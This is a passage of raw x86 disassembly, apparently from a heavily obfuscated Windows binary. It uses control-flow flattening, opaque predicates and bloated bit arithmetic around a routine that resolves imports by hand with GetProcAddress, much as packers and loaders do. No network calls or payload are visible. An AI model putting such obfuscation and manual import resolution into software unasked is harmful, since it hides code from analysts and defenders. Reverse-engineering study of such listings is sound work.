or ebx, 0x612fe997
and ecx, ebx
or eax, ecx
mov ecx, edx
and ecx, esi
xor edx, esi
or ecx, edx
mov edx, eax
xor edx, 0xffffffff
mov esi, ecx
and esi, edx
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x94f47899
mov edx, 0xffffffff
xor edx, 0x94f47899
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x94f47899
and edx, 0xffffffff
or ecx, esi
or eax, edx
xor ecx, eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0x43016018
mov esi, 0xffffffff
xor esi, 0x43016018
and edi, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x43016018
and esi, 0xffffffff
or edx, edi
or eax, esi
xor edx, eax
mov eax, 0xffffffff
xor eax, 0x201c062d
and eax, 0x6e069e2
mov edi, 0xffffffff
xor edi, 0x6e069e2
mov ebx, edi
and ebx, 0x201c062d
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x6e069e2
and edi, 0xffffffff
or eax, ebx
or esi, edi
xor eax, esi
mov edi, ecx
and edi, edx
xor ecx, edx
or edi, ecx
mov edx, eax
and edx, 0x201c062d
xor eax, 0x201c062d
or edx, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0xf5f07a9c
mov esi, 0xffffffff
xor esi, 0xf5f07a9c
and edi, esi
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xf5f07a9c
and esi, 0xffffffff
or eax, edi
or ecx, esi
xor eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x62bff4c2
or eax, edx
or ecx, 0x62bff4c2
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x83101], al
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor edx, edx
sub edx, 1
add edx, 0
xor edi, edi
sub edi, 0x8149f99
add edi, edx
add edi, 0x8149f99
xor esi, esi
sub esi, 0xb84451a2
sub esi, ecx
add esi, 0xb84451a2
xor edx, edx
sub edx, 0xe11fcb62
sub edx, edi
add edx, 0xe11fcb62
sub esi, 0x5e8305d9
add esi, edx
add esi, 0x5e8305d9
mov edx, 0x1ea9b370
add edx, 0
sub edx, esi
sub edx, 0x1ea9b370
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bl
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or bh, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, bl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov byte [ebp - 0x83394], dl
mov dl, bh
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
and bh, ah
mov byte [ebp - 0x83396], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x83395], al
mov al, byte [ebp - 0x83396]
or dh, al
mov al, byte [ebp - 0x83395]
or bh, al
mov al, byte [ebp - 0x83394]
xor dh, bh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov ah, al
and ah, 0
xor al, 0
or ah, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or ah, al
xor ah, 0xff
mov al, bl
xor al, ah
and al, bl
mov ch, bl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb33a40c3
mov ecx, 0x300afc88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [ebp - 0x83198]
mov dword [ebp - 0x83100], eax
mov eax, dword [ebp - 0x831a4]
mov dword [ebp - 0x830fc], eax
mov eax, dword [ebp - 0x831ac]
mov ax, word [eax]
mov word [ebp - 0x830f6], ax
mov dword [ebp - 0x831e0], 0x3aeb6f3b
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
mov edx, 0x2f5d276d
add edx, 0
sub edx, 0x308c446b
sub edx, 0x2f5d276d
xor esi, esi
sub esi, edx
mov edx, ecx
sub edx, esi
xor edi, edi
sub edi, 1
add edi, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x92cd084c
sub esi, edx
add esi, 0x92cd084c
mov edi, 0x1e705750
add edi, 0
sub edi, 0x308c446b
sub edi, 0x1e705750
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl ah
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov cl, dl
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov dh, dl
and dh, bl
mov al, ch
xor al, 0xff
and al, 0
and ch, bl
or cl, dh
or al, ch
xor cl, al
mov ch, dl
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov cl, dl
and cl, dh
or ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and ah, dh
or ch, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or dl, cl
mov byte [ebp - 0x83485], dl
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov ch, ah
and ch, dh
or cl, ch
mov bh, 1
xor bh, 1
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or bh, bl
or ch, dh
xor bh, ch
mov dh, 1
xor dh, 1
mov ch, dl
xor ch, dh
and ch, dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov al, 1
xor al, 1
mov dl, cl
xor dl, al
and dl, cl
xor ah, 0xff
mov al, bh
xor al, 0xff
mov dh, 1
xor dh, 1
or ah, al
mov al, byte [ebp - 0x83485]
or dh, 1
xor ah, 0xff
and ah, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or dl, dh
or ah, ch
xor dl, ah
mov byte [ebp - 0x83484], dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x83484]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6732223e
mov ecx, 0xc7823dca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x3e85d2a4
jmp 0x42c10b
mov eax, 0x33dac97c
mov ecx, 0x100378f5
cmp dword [ebp - 0x831c0], 0
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [ebp - 0x831c4]
mov dword [ebp - 0x830d8], eax
mov eax, dword [ebp - 0x831c8]
mov dword [ebp - 0x830d4], eax
mov dword [ebp - 0x831e0], 0xb76cf102
jmp 0x42c10b
mov edx, dword [ebp - 0x830d8]
mov esi, dword [ebp - 0x830d4]
mov eax, 0x768d705a
mov ecx, 0x8ec35479
cmp dword [edx + esi*4], 0
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [ebp - 0x83188]
mov ecx, dword [ebp - 0x831c4]
mov edx, dword [ebp - 0x831c8]
mov edx, dword [ecx + edx*4]
xor ecx, ecx
sub ecx, 0x28492755
sub ecx, 0xc7463a15
add ecx, 0x28492755
sub eax, 0x1b4d4d71
sub eax, ecx
add eax, 0x1b4d4d71
xor ecx, ecx
sub ecx, 0xe50c3fb5
sub ecx, edx
add ecx, 0xe50c3fb5
sub eax, 0x2564b068
sub eax, ecx
add eax, 0x2564b068
sub eax, 0x979a7758
add eax, 0xfa8f721
add eax, 0x979a7758
add eax, 0x2bf2b683
sub eax, 0xc7463a15
sub eax, 0x2bf2b683
add eax, 0xef9d69d4
sub eax, 0xfa8f721
sub eax, 0xef9d69d4
mov dword [ebp - 0x831cc], eax
mov eax, dword [ebp - 0x831c4]
mov ecx, dword [ebp - 0x831c8]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov dword [ebp - 0x830d0], eax
mov eax, dword [ebp - 0x831c0]
mov dword [ebp - 0x830cc], eax
mov dword [ebp - 0x831e0], 0xbf449fb5
jmp 0x42c10b
mov eax, dword [ebp - 0x830d0]
mov ecx, dword [ebp - 0x830cc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x831d0], eax
mov eax, 0xe6e41198
mov ecx, 0xda444acd
cmp dword [ebp - 0x831d0], 0
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [ebp - 0x831cc]
add eax, 2
mov ecx, dword [ebp - 0x831c0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x831d0], eax
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor esi, esi
sub esi, 1
add esi, 0
xor edx, edx
sub edx, esi
xor edi, edi
sub edi, edx
mov edx, ecx
add edx, 0x4bfb92ed
add edx, 0x9a30374e
sub edx, 0x4bfb92ed
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x7674581e
sub edx, 0x9a30374e
sub edx, 0x7674581e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
mov byte [ebp - 0x834d7], ch
cmp eax, 0xa
setl bl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov dh, 1
xor dh, 0
and dh, 0
mov cl, 1
xor cl, 0
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, ah
or al, cl
xor dh, al
xor ch, 0xff
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov bh, ah
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, bh
or al, ah
xor cl, al
mov ah, 1
xor ah, 0
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 1
xor dh, 0xff
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x834cc], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ah, bl
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov ch, bl
xor ch, 0xff
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 0
or ch, ah
or al, 0
xor ch, 0xff
and ch, al
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ah, bh
or al, dh
xor ah, al
mov dh, 1
xor dh, 1
mov al, ah
xor al, dh
and al, ah
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
or dl, ah
or al, cl
xor dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov ch, cl
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
mov byte [ebp - 0x834d8], ah
and cl, dh
mov ah, bh
and ah, 0
and al, dh
mov byte [ebp - 0x834d6], al
mov al, byte [ebp - 0x834d8]
or al, cl
mov cl, byte [ebp - 0x834d7]
mov byte [ebp - 0x834d5], al
mov al, byte [ebp - 0x834d6]
or ah, al
mov al, byte [ebp - 0x834d5]
xor al, ah
mov ah, byte [ebp - 0x834cc]
or ch, bh
xor ch, 0xff
or dh, 0
and ch, dh
or al, ch
mov byte [ebp - 0x834be], al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and ah, dh
mov al, bh
xor al, 0xff
and al, 0
and bh, dh
mov dh, byte [ebp - 0x834cc]
or ch, ah
mov ah, byte [ebp - 0x834be]
or al, bh
xor ch, al
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov byte [ebp - 0x834d3], al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or ch, al
mov al, cl
xor al, 0xff
mov dh, ch
and dh, al
xor ch, 0xff
mov al, cl
and al, ch
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov cl, dl
xor cl, 0xff
mov al, ch
and al, cl
xor ch, 0xff
mov cl, dl
and cl, ch
or al, cl
mov cl, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov bh, ah
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov al, bl
xor al, 0xff
and al, 0
mov byte [ebp - 0x834d4], al
mov al, 1
xor al, 0
mov cl, bl
and cl, al
mov ah, bh
xor ah, 0xff
and ah, 0
and bh, al
mov al, byte [ebp - 0x834d4]
or al, cl
mov cl, byte [ebp - 0x834d3]
or ah, bh
xor al, ah
xor bl, 0xff
mov ah, al
xor ah, bl
and ah, al
mov al, dh
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov bl, cl
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and cl, dh
or al, cl
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x834d0], bl
mov dh, al
xor dh, 0xff
mov cl, 1
xor cl, 1
and bl, 0xff
and bh, cl
mov byte [ebp - 0x834d2], bh
mov bh, dh
and bh, 0xff
and al, cl
mov byte [ebp - 0x834d1], al
mov al, byte [ebp - 0x834d2]
or bl, al
mov al, byte [ebp - 0x834d1]
or bh, al
mov al, byte [ebp - 0x834d0]
xor bl, bh
or al, dh
xor al, 0xff
or cl, 1
and al, cl
or bl, al
mov al, ch
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov bh, ch
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bh, ch
or cl, ah
xor bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x834cf], dh
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 1
and dh, 0xff
and al, cl
mov ch, ah
and ch, 0xff
and bh, cl
or dh, al
mov al, byte [ebp - 0x834cf]
or ch, bh
xor dh, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, bl
and al, ah
or cl, al
mov ch, 1
xor ch, 0
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov bh, 1
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, ah
or al, cl
xor bh, al
xor bl, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov al, dh
and al, cl
mov byte [ebp - 0x834ce], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x834cd], al
mov al, byte [ebp - 0x834ce]
and cl, 1
or ah, al
mov al, byte [ebp - 0x834cd]
or al, cl
xor ah, al
mov cl, 1
xor cl, 0
mov al, ah
xor al, cl
mov cl, byte [ebp - 0x834cc]
and al, ah
xor dh, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 0
or dh, bh
or ah, 0
xor dh, 0xff
and dh, ah
mov ah, ch
and ah, bl
xor ch, bl
or ah, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x834c9], al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or dh, al
mov byte [ebp - 0x834c6], dh
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 1
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov ch, 1
xor ch, 1
mov al, bl
xor al, ch
and al, bl
xor cl, 0xff
mov bh, ah
xor bh, 0xff
mov ch, 1
xor ch, 0
or cl, bh
or ch, 0
xor cl, 0xff
and cl, ch
mov bh, 1
xor bh, 1
mov ch, dh
xor ch, bh
and ch, dh
mov byte [ebp - 0x834c7], ch
xor dl, 0xff
mov dh, ah
xor dh, 0xff
mov ch, 1
xor ch, 1
or dl, dh
or ch, 1
xor dl, 0xff
and dl, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x834c8], dh
mov bh, 1
xor bh, 0
mov dh, ch
and dh, 0
and al, bh
mov byte [ebp - 0x834cb], al
mov al, byte [ebp - 0x834c8]
and al, 0
mov byte [ebp - 0x834ca], al
mov al, byte [ebp - 0x834cb]
and cl, bh
or dh, al
mov al, byte [ebp - 0x834ca]
or al, cl
mov cl, byte [ebp - 0x834c9]
xor dh, al
mov al, byte [ebp - 0x834c8]
or ch, al
mov al, byte [ebp - 0x834c7]
xor ch, 0xff
or bh, 0
and ch, bh
or dh, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov bh, dh
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and dh, al
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, al
mov al, byte [ebp - 0x834c6]
or bh, dh
or dl, ch
xor bh, dl
mov dh, bl
xor dh, 0xff
mov byte [ebp - 0x834c3], dh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and bl, dl
mov byte [ebp - 0x834c5], bl
mov bl, ch
and bl, 0
and al, dl
mov byte [ebp - 0x834c4], al
mov al, byte [ebp - 0x834c5]
or dh, al
mov al, byte [ebp - 0x834c4]
or bl, al
mov al, byte [ebp - 0x834c3]
xor dh, bl
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov dl, ah
and dl, 1
xor ah, 1
or dl, ah
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, bh
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or al, bh
or dh, bl
xor al, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, al
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov bh, 1
xor bh, 0
xor ah, 0xff
mov dl, 1
xor dl, 0
or bh, ah
or dl, 0
xor bh, 0xff
and bh, dl
mov ah, 1
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
xor dl, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x834c0], dl
mov dh, 1
xor dh, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or dh, ah
or dl, 1
xor dh, 0xff
and dh, dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and bh, ah
mov byte [ebp - 0x834c2], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0x834c1], al
mov al, byte [ebp - 0x834c2]
or ch, al
mov al, byte [ebp - 0x834c1]
or bh, al
mov al, byte [ebp - 0x834c0]
xor ch, bh
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x834bf], ah
mov bl, dh
xor bl, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and al, dl
mov bh, bl
and bh, 0xff
and dh, dl
or ah, al
mov al, byte [ebp - 0x834bf]
or bh, dh
mov dh, byte [ebp - 0x834be]
xor ah, bh
or al, bl
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and ch, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or dl, ch
or al, ah
xor dl, al
mov al, dh
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov bh, 1
xor bh, 1
mov bl, bh
and bl, 1
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or ah, bl
or ch, dh
xor ah, ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
mov ch, dl
and ch, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or dh, ch
or al, ah
xor dh, al
xor dh, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ch, al
mov byte [ebp - 0x834ba], ch
mov al, dh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov bl, dh
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, bl
or dl, ah
xor al, dl
mov byte [ebp - 0x834bb], al
mov dl, 1
xor dl, 0
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or dl, bh
or ah, bl
xor dl, ah
mov bl, 1
xor bl, 0
mov ah, ch
xor ah, bl
and ah, ch
mov bl, dl
xor bl, 0xff
mov ch, cl
xor ch, bl
and ch, cl
xor al, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov bl, dl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov dh, ah
and dh, ch
xor ah, ch
or dh, ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, ah
and ch, 0xff
and al, bl
mov byte [ebp - 0x834bd], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x834bc], al
mov al, byte [ebp - 0x834bd]
and cl, bl
or ch, al
mov al, byte [ebp - 0x834bc]
or al, cl
mov cl, byte [ebp - 0x834bb]
xor ch, al
mov al, byte [ebp - 0x834ba]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or ch, ah
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bh
or bl, dh
or ah, ch
xor bl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xef0f195c
mov ecx, 0x3a71e0c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0xda444acd
jmp 0x42c10b
mov eax, dword [ebp - 0x830c4]
mov ecx, dword [ebp - 0x830c8]
mov dword [eax], ecx
mov dword [ebp - 0x831e0], 0x2590bc90
jmp 0x42c10b
mov eax, dword [ebp - 0x831b8]
xor edx, edx
sub edx, 0x1acf62aa
add edx, 0x7ac23d51
add edx, 0x1acf62aa
sub edx, 0xf299e751
sub edx, 1
add edx, 0xf299e751
sub edx, 0xd5816787
sub edx, 0x7ac23d51
add edx, 0xd5816787
add eax, 0xe50b563e
sub eax, 0xb76ad3f3
sub eax, 0xe50b563e
